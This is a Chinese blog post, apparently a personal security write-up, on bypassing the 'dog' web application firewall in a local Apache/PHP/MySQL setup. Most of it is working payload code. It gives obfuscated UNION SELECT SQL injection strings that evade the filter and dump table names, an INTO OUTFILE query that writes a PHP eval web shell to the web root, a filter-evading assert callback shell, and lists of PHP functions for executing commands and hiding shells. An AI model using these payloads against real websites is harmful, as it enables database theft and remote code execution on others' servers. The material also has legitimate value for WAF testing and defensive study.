某dog的一条龙服务
从官网上下载的狗狗,环境为apache+php+mysql( 5.5.60)
注入Bypass
判断注入,狗狗对 xor 好像不拦截1
2
3
4
5
6
7and 1=1 //拦截
and -1=-1 //不拦截
and ~1=~1 //不拦截
and 1.0=1.0 //拦截
and hex(1)=1 //拦截
and 1 between 1 and 2 //拦截
xor 1=2 //不拦截
注释符1
2
3
4/**/ //不拦截
/*!12345*/ //不拦截
;%00 //不拦截
--+ //不拦截
Bypass很简单,用/%!a/就差不多了,这里我就试一下联合查询
联合查询注入
这个版本的狗狗不拦截order by ,1
2
3
4
5union/*%!a*/select 1,2,3,4,5
union/*%!a*/select 1,database(/*%!a*/),3,4,5
union/*%!a*/select 1,user(/*%!a*/),3,4,5
判断基本信息之后,我们来暴数据1
union/*%!a*/select 1,(select table_name from information_schema),3,4,5 //拦截
from 后面添加任意字符就拦截了,利用Mysql自带的黑魔法,不拦截1
union/*%!a*/select 1,(select {x table_name} from information_schema)3,4,5
就可以暴数据了1
union/*%!a*/select 1,(select {x group_concat(table_name)} from information_schema.tables where table_schema=database(/*%!a*/)),3,4,5
Emmmm,后面就依葫芦画瓢,狗狗基本没防御
狗狗一句话
这里使用传统的一句话,可以写进去,但是访问的时候被拦截了。前提是该文件有可写权限。。。。。1
union/*%!a*/select 1,"<?php eval($_POST[cc123]) ?>",3,4,5 into outfile '/var/www/html/shell.php'
然后换了个过狗的一句话,1
2
3<?php
call_user_func('assert',$_REQUEST['kali']);
?>
这个就不拦截,成功Bypass,原理就是回调函数,将接收过来的kali参数用assert命令执行,挺简单的。
思路
命令执行函数:1
2
3
4
5
6
7
8
9eval
assert
system
passthru
shell_exec
pcntl_exec
exec
popen
proc_open
动态特性:1
2
3
4
5
6
7
8
9
10
11
12
13
14array_filter
array_map
array_reduce
array_udiff
array_walk
array_walk_recursive
uasort
uksort
create_function
call_user_func
register_shutdown_function
register_tick_function
filter_var
filter_var_array
加密:1
2
3
4
5
6
7
8
9base64_decode
gzinflate
gzuncompress
gzdecode
str_replace
str_rot13
preg_replace
preg_filter
chr
其他思路:1
2<?php
$GET['a']($_REQUEST['kali']);
url: http://xxx.com/kali.php?a=assert
密码:kali
先放这里,以后说不定要参考一下,狗狗对这块的防护是不足的。
推荐阅读
对于Php Shell Bypass思路总结(送给还在迷茫bypass的初学者)
MYSQL_SQL_BYPASS_WIKI
对安全狗的一次 FUZZ测试
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:某dog的一条龙服务
本文作者:sher10ck
发布时间:2019-07-23, 10:14:40
最后更新:2020-01-13, 13:05:32
原始链接:http://sherlocz.github.io/2019/07/23/某dog的一条龙服务/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。